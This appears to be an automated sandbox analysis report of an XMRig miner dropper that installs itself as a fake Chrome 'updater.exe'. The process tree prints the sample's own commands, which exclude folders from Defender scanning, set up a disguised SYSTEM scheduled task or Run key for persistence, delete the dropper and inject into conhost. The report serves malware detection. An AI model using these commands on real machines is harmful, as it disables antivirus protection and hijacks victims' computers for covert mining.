xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1799s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

6vHkJ4UErTSS5ECD.exeupdater.execonhost.exe

description	pid	process	target process
PID 2276 created 3596	2276	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2276 created 3596	2276	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2276 created 3596	2276	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 2276 created 3596	2276	6vHkJ4UErTSS5ECD.exe	Explorer.EXE
PID 1824 created 3596	1824	updater.exe	Explorer.EXE
PID 1824 created 3596	1824	updater.exe	Explorer.EXE
PID 1824 created 3596	1824	updater.exe	Explorer.EXE
PID 1824 created 3596	1824	updater.exe	Explorer.EXE
PID 2736 created 3596	2736	conhost.exe	Explorer.EXE
PID 1824 created 3596	1824	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral6/memory/3780-127-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-131-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-132-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-134-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-138-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-140-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-142-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-144-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-146-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-148-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-150-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-152-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-154-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-156-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-158-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-160-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-162-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-164-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-166-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-168-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-170-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-172-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-174-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-176-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-178-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-180-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-182-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-184-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-186-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig
behavioral6/memory/3780-188-0x00007FF753190000-0x00007FF753984000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1824 updater.exe

pid	process
1824	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral6/memory/3780-123-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-127-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-131-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-132-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-134-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-138-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-140-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-142-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-144-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-146-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-148-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-150-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-152-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-154-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-156-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-158-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-160-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-162-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-164-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-166-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-168-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-170-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-172-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-174-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-176-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-178-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-180-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-182-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-184-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-186-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx
behavioral6/memory/3780-188-0x00007FF753190000-0x00007FF753984000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 1824 set thread context of 2736	1824	updater.exe	conhost.exe
PID 1824 set thread context of 3780	1824	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

cmd.execmd.exe6vHkJ4UErTSS5ECD.exeupdater.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1232 WMIC.exe

pid	process
1232	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

6vHkJ4UErTSS5ECD.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2276	6vHkJ4UErTSS5ECD.exe
2276	6vHkJ4UErTSS5ECD.exe
2636	powershell.exe
2636	powershell.exe
2276	6vHkJ4UErTSS5ECD.exe
2276	6vHkJ4UErTSS5ECD.exe
2932	powershell.exe
2932	powershell.exe
2276	6vHkJ4UErTSS5ECD.exe
2276	6vHkJ4UErTSS5ECD.exe
2276	6vHkJ4UErTSS5ECD.exe
2276	6vHkJ4UErTSS5ECD.exe
4700	powershell.exe
4700	powershell.exe
1824	updater.exe
1824	updater.exe
1752	powershell.exe
1752	powershell.exe
1824	updater.exe
1824	updater.exe
2692	powershell.exe
2692	powershell.exe
1824	updater.exe
1824	updater.exe
1824	updater.exe
1824	updater.exe
2736	conhost.exe
2736	conhost.exe
1824	updater.exe
1824	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeIncreaseQuotaPrivilege	2932	powershell.exe
Token: SeSecurityPrivilege	2932	powershell.exe
Token: SeTakeOwnershipPrivilege	2932	powershell.exe
Token: SeLoadDriverPrivilege	2932	powershell.exe
Token: SeSystemProfilePrivilege	2932	powershell.exe
Token: SeSystemtimePrivilege	2932	powershell.exe
Token: SeProfSingleProcessPrivilege	2932	powershell.exe
Token: SeIncBasePriorityPrivilege	2932	powershell.exe
Token: SeCreatePagefilePrivilege	2932	powershell.exe
Token: SeBackupPrivilege	2932	powershell.exe
Token: SeRestorePrivilege	2932	powershell.exe
Token: SeShutdownPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeSystemEnvironmentPrivilege	2932	powershell.exe
Token: SeRemoteShutdownPrivilege	2932	powershell.exe
Token: SeUndockPrivilege	2932	powershell.exe
Token: SeManageVolumePrivilege	2932	powershell.exe
Token: 33	2932	powershell.exe
Token: 34	2932	powershell.exe
Token: 35	2932	powershell.exe
Token: 36	2932	powershell.exe
Token: SeIncreaseQuotaPrivilege	2932	powershell.exe
Token: SeSecurityPrivilege	2932	powershell.exe
Token: SeTakeOwnershipPrivilege	2932	powershell.exe
Token: SeLoadDriverPrivilege	2932	powershell.exe
Token: SeSystemProfilePrivilege	2932	powershell.exe
Token: SeSystemtimePrivilege	2932	powershell.exe
Token: SeProfSingleProcessPrivilege	2932	powershell.exe
Token: SeIncBasePriorityPrivilege	2932	powershell.exe
Token: SeCreatePagefilePrivilege	2932	powershell.exe
Token: SeBackupPrivilege	2932	powershell.exe
Token: SeRestorePrivilege	2932	powershell.exe
Token: SeShutdownPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeSystemEnvironmentPrivilege	2932	powershell.exe
Token: SeRemoteShutdownPrivilege	2932	powershell.exe
Token: SeUndockPrivilege	2932	powershell.exe
Token: SeManageVolumePrivilege	2932	powershell.exe
Token: 33	2932	powershell.exe
Token: 34	2932	powershell.exe
Token: 35	2932	powershell.exe
Token: 36	2932	powershell.exe
Token: SeIncreaseQuotaPrivilege	2932	powershell.exe
Token: SeSecurityPrivilege	2932	powershell.exe
Token: SeTakeOwnershipPrivilege	2932	powershell.exe
Token: SeLoadDriverPrivilege	2932	powershell.exe
Token: SeSystemProfilePrivilege	2932	powershell.exe
Token: SeSystemtimePrivilege	2932	powershell.exe
Token: SeProfSingleProcessPrivilege	2932	powershell.exe
Token: SeIncBasePriorityPrivilege	2932	powershell.exe
Token: SeCreatePagefilePrivilege	2932	powershell.exe
Token: SeBackupPrivilege	2932	powershell.exe
Token: SeRestorePrivilege	2932	powershell.exe
Token: SeShutdownPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeSystemEnvironmentPrivilege	2932	powershell.exe
Token: SeRemoteShutdownPrivilege	2932	powershell.exe
Token: SeUndockPrivilege	2932	powershell.exe
Token: SeManageVolumePrivilege	2932	powershell.exe
Token: 33	2932	powershell.exe
Token: 34	2932	powershell.exe
Token: 35	2932	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 664 wrote to memory of 3644	664	cmd.exe	choice.exe
PID 664 wrote to memory of 3644	664	cmd.exe	choice.exe
PID 4700 wrote to memory of 3504	4700	powershell.exe	schtasks.exe
PID 4700 wrote to memory of 3504	4700	powershell.exe	schtasks.exe
PID 1824 wrote to memory of 2736	1824	updater.exe	conhost.exe
PID 2372 wrote to memory of 1232	2372	cmd.exe	WMIC.exe
PID 2372 wrote to memory of 1232	2372	cmd.exe	WMIC.exe
PID 1824 wrote to memory of 3780	1824	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3596

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:664

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4700

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:3504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2692

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2736

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:3036

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Detects videocard installed
PID:1232

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
PID:3780

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1824

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
